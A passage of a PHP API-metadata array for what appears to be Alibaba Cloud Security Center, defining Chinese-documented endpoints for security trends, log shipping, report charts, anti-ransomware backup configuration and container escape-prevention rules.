'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalRestoreTaskCount\\": 10,\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DD****\\",\\n \\"UnprotectedDatabaseCount\\": 5,\\n \\"RestoringTaskCount\\": 0,\\n \\"ProtectedDatabaseCount\\": 1,\\n \\"TotalRecoverableCount\\": 3,\\n \\"RegionCountList\\": [\\n {\\n \\"RegionId\\": \\"cn-shanghai\\",\\n \\"AutomaticCount\\": \\"1\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询数据库防勒索备份统计信息', + ], + 'DescribeUserSetting' => [ + 'summary' => '基线检查获取用户自定义配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '112.94.XX.XX'."\n", + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'InvalidWarningKeepDays' => [ + 'description' => '无效告警保留的天数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8****', + ], + 'AlertLevels' => [ + 'description' => '报警通知级别列表，空列表则不会产生自定义策略告警。', + 'type' => 'array', + 'items' => [ + 'description' => '报警通知级别列表。取值：'."\n" + ."\n" + .'1. high'."\n" + .'2. medium'."\n" + .'3. low', + 'type' => 'string', + 'example' => 'high', + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"InvalidWarningKeepDays\\": 30,\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8****\\",\\n \\"AlertLevels\\": [\\n \\"high\\"\\n ]\\n}","type":"json"}]', + 'title' => '查询用户自定义配置', + ], + 'GetDataTrend' => [ + 'summary' => '查询漏洞、告警与基线的安全运营趋势。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '120889', + 'abilityTreeNodes' => [ + 'FEATUREsasJODUMM', + ], + ], + 'parameters' => [ + [ + 'name' => 'BizTypes', + 'in' => 'query', + 'schema' => [ + 'description' => '查询安全数据类型。取值：'."\n" + .'- **HC_NEW**：新增基线风险数'."\n" + .'- **HC_OPERATE**：已处理基线风险数'."\n" + .'- **VUL_NEW**：新增漏洞风险数'."\n" + .'- **VUL_OPERATE**：已处理漏洞风险数'."\n" + .'- **SUSP_NEW**：新增告警风险数'."\n" + .'- **SUSP_OPERATE**：已处理告警风险数', + 'type' => 'string', + 'required' => true, + 'example' => 'HC_NEW,HC_OPERATE', + ], + ], + [ + 'name' => 'StartTimestamp', + 'in' => 'query', + 'schema' => [ + 'description' => '查询的开始时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '1687334501000', + ], + ], + [ + 'name' => 'EndTimestamp', + 'in' => 'query', + 'schema' => [ + 'description' => '查询的结束时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '1721923200000', + ], + ], + [ + 'name' => 'Interval', + 'in' => 'query', + 'schema' => [ + 'description' => '查询数据间隔。单位：毫秒。'."\n" + ."\n" + .'> 最小值1000。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'minimum' => '1000', + 'example' => '86400000', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'DateList' => [ + 'description' => '趋势数据的统计时间戳列表。', + 'type' => 'array', + 'items' => [ + 'description' => '趋势数据的统计时间戳。单位：秒。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1721404800', + ], + ], + 'DateStrList' => [ + 'description' => '趋势数据的统计时间日期列表。', + 'type' => 'array', + 'items' => [ + 'description' => '趋势数据的统计时间日期。'."\n" + ."\n" + .'> 格式：yyyy-MM-dd HH:mm:ss。', + 'type' => 'string', + 'example' => '2024-01-01 00:00:00', + ], + ], + 'ItemList' => [ + 'description' => '返回数据的列表。', + 'type' => 'array', + 'items' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'KeyName' => [ + 'description' => '安全数据类型。取值：'."\n" + .'- **HC_NEW**：新增基线风险数'."\n" + .'- **HC_OPERATE**：已处理基线风险数'."\n" + .'- **VUL_NEW**：新增漏洞风险数'."\n" + .'- **VUL_OPERATE**：已处理漏洞风险数'."\n" + .'- **SUSP_NEW**：新增告警风险数'."\n" + .'- **SUSP_OPERATE**：已处理告警风险数', + 'type' => 'string', + 'example' => 'HC_NEW', + ], + 'CountList' => [ + 'description' => '趋势数据的统计值列表。', + 'type' => 'array', + 'items' => [ + 'description' => '趋势数据的统计值。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10', + ], + ], + ], + ], + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '1383B0DB-D5D6-4B0C-9E6B-75939C8E****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"DateList\\": [\\n 1721404800\\n ],\\n \\"DateStrList\\": [\\n \\"2024-01-01 00:00:00\\"\\n ],\\n \\"ItemList\\": [\\n {\\n \\"KeyName\\": \\"HC_NEW\\",\\n \\"CountList\\": [\\n 10\\n ]\\n }\\n ]\\n },\\n \\"RequestId\\": \\"1383B0DB-D5D6-4B0C-9E6B-75939C8E****\\"\\n}","type":"json"}]', + 'title' => '查询安全运营趋势', + ], + 'ResetLogShipper' => [ + 'summary' => '重置并升级日志分析服务。仅日志后付费模式支持调用。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '138847', + 'abilityTreeNodes' => [ + 'FEATUREsasA2G5MU', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Ttl', + 'in' => 'query', + 'schema' => [ + 'description' => '全局日志保存天数。'."\n" + ."\n" + .'> 仅日志后付费模式支持。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '180', + ], + ], + [ + 'name' => 'HotTtl', + 'in' => 'query', + 'schema' => [ + 'description' => '全局热存储层数据保存时间。'."\n" + ."\n" + .'> 取值范围：大于等于7天，小于日志存储时间。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '7', + ], + ], + [ + 'name' => 'LogMetaList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '云安全中心日志分析的配置信息。', + 'type' => 'array', + 'items' => [ + 'description' => '云安全中心日志分析的配置。', + 'type' => 'object', + 'properties' => [ + 'ConfigLogStore' => [ + 'description' => '指定要配置的LogStore。'."\n" + .'>您可以调用[DescribeLogMeta](~~DescribeLogMeta~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas-security-log', + ], + 'Status' => [ + 'description' => '当前启用状态。取值：'."\n" + .'- **disabled**：未启用。'."\n" + .'- **enabled**：启用。', + 'type' => 'string', + 'required' => false, + 'example' => 'enabled', + ], + 'Ttl' => [ + 'description' => 'LogStore日志保存天数。'."\n" + ."\n" + .'> 指定单LogStore日志保存天数会覆盖全局设置。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '60', + ], + 'HotTtl' => [ + 'description' => 'LogStore热存储层数据保存时间。'."\n" + ."\n" + .'> 取值范围：大于等于7天，小于日志存储时间。指定单LogStore热存储层数据保存时间会覆盖全局设置。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '7', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 50, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D2E31293-DAAC-574B-B816-A18EA0A6****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalHotTTL', + 'errorMessage' => 'The hot storage TTL is invalid.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D2E31293-DAAC-574B-B816-A18EA0A6****\\"\\n}","type":"json"}]', + 'title' => '重置并升级日志分析服务', + ], + 'ListLogShipperRegions' => [ + 'summary' => '查询日志后付费模式支持的投递地域。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '139433', + 'abilityTreeNodes' => [ + 'FEATUREsasA2G5MU', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F9C4DE22-D242-5ABA-87EC-325ECBDC****', + ], + 'LogShipperRegionList' => [ + 'description' => '日志投递支持的地域列表。', + 'type' => 'array', + 'items' => [ + 'description' => '日志投递支持的地域。', + 'type' => 'object', + 'properties' => [ + 'RegionId' => [ + 'description' => '地域ID。', + 'type' => 'string', + 'example' => 'cn-shanghai', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F9C4DE22-D242-5ABA-87EC-325ECBDC****\\",\\n \\"LogShipperRegionList\\": [\\n {\\n \\"RegionId\\": \\"cn-shanghai\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询日志后付费模式投递地域', + ], + 'UpdateTargetListByBatch' => [ + 'summary' => '更新批次包含的机器。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '142158', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'BatchId', + 'in' => 'query', + 'allowEmptyValue' => true, + 'schema' => [ + 'description' => '发布批次ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '52370', + ], + ], + [ + 'name' => 'OperationList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '资产操作列表。', + 'type' => 'array', + 'items' => [ + 'description' => '资产操作列表。', + 'type' => 'object', + 'properties' => [ + 'Operation' => [ + 'description' => '操作类型。取值：'."\n" + ."\n" + .'- **add**：增加。'."\n" + .'- **del**：删除。', + 'type' => 'string', + 'required' => false, + 'example' => 'add', + ], + 'GroupId' => [ + 'description' => '服务器分组ID。'."\n" + .'> 您可以调用[DescribeAllGroups](~~DescribeAllGroups~~)接口查询服务器分组ID。', + 'type' => 'string', + 'required' => false, + 'example' => '11883086', + ], + 'VpcInstanceId' => [ + 'description' => 'VPC实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'vpc-bp1ow0rm9t92iza******', + ], + 'Uuid' => [ + 'description' => '服务器UUID。'."\n" + .'> 调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'de393767-6fe1-4a8d-837d-927a2b******', + ], + ], + 'required' => false, + ], + 'required' => true, + 'maxItems' => 10000, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'FBBEB173-1F43-505F-A876-C03ECD******', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"FBBEB173-1F43-505F-A876-C03ECD******\\"\\n}","type":"json"}]', + 'title' => '更新批次包含的机器', + ], + 'DescribeScreenScoreThread' => [ + 'summary' => '查询安全大屏分数趋势。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '154024', + 'abilityTreeNodes' => [ + 'FEATUREsasBB3BJE', + ], + ], + 'parameters' => [ + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '开始时间的时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '1651290987000', + ], + ], + [ + 'name' => 'EndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '结束时间的时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '1668064495000', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '安全分来源，传空默认为云安全中心，枚举值：'."\n" + ."\n" + .'0：云安全中心。'."\n" + ."\n" + .'1：瑶池控制台。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 'D03DD0FD-6041-5107-AC00-383E28F1****', + ], + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'SocreThread' => [ + 'description' => '安全分趋势列表。', + 'type' => 'array', + 'items' => [ + 'description' => '安全分分数。', + 'type' => 'string', + 'example' => '80', + ], + ], + 'SocreThreadDate' => [ + 'description' => '安全分趋势日期列表。', + 'type' => 'array', + 'items' => [ + 'description' => '安全分趋势日期。', + 'type' => 'string', + 'example' => '2024-07-01', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D03DD0FD-6041-5107-AC00-383E28F1****\\",\\n \\"Data\\": {\\n \\"SocreThread\\": [\\n \\"80\\"\\n ],\\n \\"SocreThreadDate\\": [\\n \\"2024-07-01\\"\\n ]\\n }\\n}","type":"json"}]', + 'title' => '查询安全大屏分数趋势', + ], + 'DescribeChartData' => [ + 'summary' => '查询安全报告中配置图表的统计数据。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '157308', + 'abilityTreeNodes' => [ + 'FEATUREsasAT4UY0', + ], + ], + 'parameters' => [ + [ + 'name' => 'CharId', + 'in' => 'query', + 'schema' => [ + 'description' => '图表ID。'."\n" + ."\n" + .'> 调用[DescribeChartList](~~DescribeChartList~~)接口获取该参数。报告版本为1.0.0必填。', + 'type' => 'string', + 'required' => false, + 'example' => 'CID_ASSET_RISK_TREND', + ], + ], + [ + 'name' => 'TimeStart', + 'in' => 'query', + 'schema' => [ + 'description' => '统计起始时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1683603086000', + ], + ], + [ + 'name' => 'TimeEnd', + 'in' => 'query', + 'schema' => [ + 'description' => '统计结束时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1683862286000', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'ReportId', + 'in' => 'query', + 'schema' => [ + 'description' => '报表ID。'."\n" + ."\n" + .'> 调用[DescribeCustomizeReportList](~~DescribeCustomizeReportList~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '721734', + ], + ], + [ + 'name' => 'ChartId', + 'in' => 'query', + 'schema' => [ + 'description' => '图表ID。'."\n" + ."\n" + .'> 调用[DescribeChartList](~~DescribeChartList~~)接口获取该参数。报告版本为2.0.0必填。', + 'type' => 'string', + 'required' => false, + 'example' => 'CID_VUL_SUMMARY', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'PropertyValue' => [ + 'description' => '图表中的属性值。', + 'type' => 'string', + 'example' => '{\'totalCount\': \'0\'}', + ], + 'ProperyArrayValue' => [ + 'description' => '图表的属性数组。', + 'type' => 'string', + 'example' => '[]', + ], + 'ChartType' => [ + 'description' => '图表类型。取值：'."\n" + .'- **timeLine**：时间轴线图'."\n" + .'- **timeBar**：时间轴柱状图'."\n" + .'- **bar**：柱状图'."\n" + .'- **line**：线图'."\n" + .'- **pie**：饼图'."\n" + .'- **gauge**：测量图'."\n" + .'- **table**：表格'."\n" + .'- **text**：文本', + 'type' => 'string', + 'example' => 'timeBar', + ], + 'ChartDataType' => [ + 'description' => '图表数据类型。取值：'."\n" + .'- **commonCoordinate**：普通坐标'."\n" + .'- **timeCoordinate**：时间轴坐标'."\n" + .'- **multipleValue**：多值'."\n" + .'- **singleValue**：单值'."\n" + .'- **propertyValue**：属性值'."\n" + .'- **propertyArrayValue**：数组属性值', + 'type' => 'string', + 'example' => 'propertyArrayValue', + ], + 'CoordinateData' => [ + 'description' => '坐标数据。', + 'type' => 'object', + 'properties' => [ + 'YAxisList' => [ + 'description' => '纵轴值列表。', + 'type' => 'array', + 'items' => [ + 'description' => '纵轴值。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '数据类型。', + 'type' => 'string', + 'example' => 'high', + ], + 'Name' => [ + 'description' => '数据类型名称。', + 'type' => 'string', + 'example' => 'Port', + ], + 'Value' => [ + 'description' => '各横坐标点对应的纵坐标的值。', + 'type' => 'array', + 'items' => [ + 'description' => '横坐标点对应的纵坐标的值。', + 'type' => 'string', + 'required' => false, + 'example' => '1', + ], + ], + 'SubType' => [ + 'description' => '图表子类型数据。', + 'type' => 'string', + 'example' => 'CID_SUSPICIOUS_TREND-AL', + ], + ], + ], + ], + 'XAxis' => [ + 'description' => '横坐标值列表。', + 'type' => 'array', + 'items' => [ + 'description' => '横坐标值。', + 'type' => 'string', + 'example' => '2024-01-01', + ], + ], + ], + ], + 'SingleData' => [ + 'description' => '单值图数据。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '数据类型。', + 'type' => 'string', + 'example' => 'suspicious', + ], + 'Value' => [ + 'description' => '单值图的数据值。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '172', + ], + 'Name' => [ + 'description' => '数据类型名称。', + 'type' => 'string', + 'example' => 'suspicious', + ], + ], + ], + 'MultipleData' => [ + 'description' => '多值图数据。', + 'type' => 'array', + 'items' => [ + 'description' => '多值图。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '数据类型。', + 'type' => 'string', + 'example' => 'safe', + ], + 'Value' => [ + 'description' => '属性值。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'Color' => [ + 'description' => '字体颜色，十六进制颜色码RGBA。', + 'type' => 'string', + 'example' => '#FFA800', + ], + 'Name' => [ + 'description' => '数据类型名称。', + 'type' => 'string', + 'example' => 'Safety', + ], + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '50CCE62A-2BC4-5CF8-B976-E4F62A31****', + ], + 'ChartSubTypeList' => [ + 'description' => '选择的图表子类型值列表。', + 'type' => 'array', + 'items' => [ + 'description' => '选择的图表子类型值。', + 'type' => 'string', + 'example' => '["CID_VUL_TREND-CVE", "CID_VUL_TREND-SYS", "CID_VUL_TREND-CMS", "CID_VUL_TREND-APP", "CID_VUL_TREND-EMG"]', + ], + ], + 'AllChartSubTypeList' => [ + 'description' => '该图表所有子类型可选择值。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'SubType' => [ + 'description' => '图表子类型。', + 'type' => 'string', + 'example' => 'CID_SUSPICIOUS_TREND-ALL', + ], + 'SubTypeName' => [ + 'description' => '图表子类型名称。', + 'type' => 'string', + 'example' => 'All Alerts', + ], + ], + ], + ], + 'PropertyArrayValue' => [ + 'description' => '数组图表属性值。', + 'type' => 'string', + 'example' => '[]', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"PropertyValue\\": \\"{\'totalCount\': \'0\'}\\",\\n \\"ProperyArrayValue\\": \\"[]\\",\\n \\"ChartType\\": \\"timeBar\\",\\n \\"ChartDataType\\": \\"propertyArrayValue\\",\\n \\"CoordinateData\\": {\\n \\"YAxisList\\": [\\n {\\n \\"Type\\": \\"high\\",\\n \\"Name\\": \\"Port\\",\\n \\"Value\\": [\\n \\"1\\"\\n ],\\n \\"SubType\\": \\"CID_SUSPICIOUS_TREND-AL\\"\\n }\\n ],\\n \\"XAxis\\": [\\n \\"2024-01-01\\"\\n ]\\n },\\n \\"SingleData\\": {\\n \\"Type\\": \\"suspicious\\",\\n \\"Value\\": 172,\\n \\"Name\\": \\"suspicious\\"\\n },\\n \\"MultipleData\\": [\\n {\\n \\"Type\\": \\"safe\\",\\n \\"Value\\": 0,\\n \\"Color\\": \\"#FFA800\\",\\n \\"Name\\": \\"Safety\\"\\n }\\n ],\\n \\"RequestId\\": \\"50CCE62A-2BC4-5CF8-B976-E4F62A31****\\",\\n \\"ChartSubTypeList\\": [\\n \\"[\\\\\\"CID_VUL_TREND-CVE\\\\\\", \\\\\\"CID_VUL_TREND-SYS\\\\\\", \\\\\\"CID_VUL_TREND-CMS\\\\\\", \\\\\\"CID_VUL_TREND-APP\\\\\\", \\\\\\"CID_VUL_TREND-EMG\\\\\\"]\\"\\n ],\\n \\"AllChartSubTypeList\\": [\\n {\\n \\"SubType\\": \\"CID_SUSPICIOUS_TREND-ALL\\",\\n \\"SubTypeName\\": \\"All Alerts\\"\\n }\\n ],\\n \\"PropertyArrayValue\\": \\"[]\\"\\n}","type":"json"}]', + 'title' => '查询安全日报图表统计数据', + ], + 'OpenBackupAutoConfig' => [ + 'summary' => '开启防勒索托管服务一键配置防勒索服务器备份策略。仅支持购买防勒索托管服务后调用。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + ], + 'parameters' => [ + [ + 'name' => 'MaxBatchSize', + 'in' => 'query', + 'schema' => [ + 'description' => '防勒索托管服务自动生成策略一个批次中包含的服务器数量。'."\n" + ."\n" + .'> 最大为50，超过50以50为准。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'maximum' => '50', + 'minimum' => '1', + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => 'BaseResult', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'ADE57832-9666-511C-9A80-B87DE2E8****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"ADE57832-9666-511C-9A80-B87DE2E8****\\"\\n}","type":"json"}]', + 'title' => '开启防勒索托管服务配置', + ], + 'GetBackupAutoConfigStatus' => [ + 'summary' => '查询是否支持防勒索托管服务自动配置防勒索服务器备份策略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'CanConfigAuto' => [ + 'description' => '是否支持托管配置防勒索备份策略。取值：'."\n" + .'- **false**：不支持'."\n" + .'- **true**：支持', + 'type' => 'boolean', + 'example' => 'false', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '898F7AA7-CECD-5EC7-AF4D-664C601B****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"CanConfigAuto\\": false\\n },\\n \\"RequestId\\": \\"898F7AA7-CECD-5EC7-AF4D-664C601B****\\"\\n}","type":"json"}]', + 'title' => '查询防勒索托管服务状态', + ], + 'GetAegisContainerPluginRule' => [ + 'summary' => '查询容器防逃逸规则详情。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '211989', + 'abilityTreeNodes' => [ + 'FEATUREsasZLVTBH', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型。默认值**zh**。取值：'."\n" + ."\n\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'RuleType', + 'in' => 'query', + 'schema' => [ + 'description' => '规则类型。取值：'."\n" + .'- **0**：用户自定义'."\n" + .'- **1**：系统内置', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + 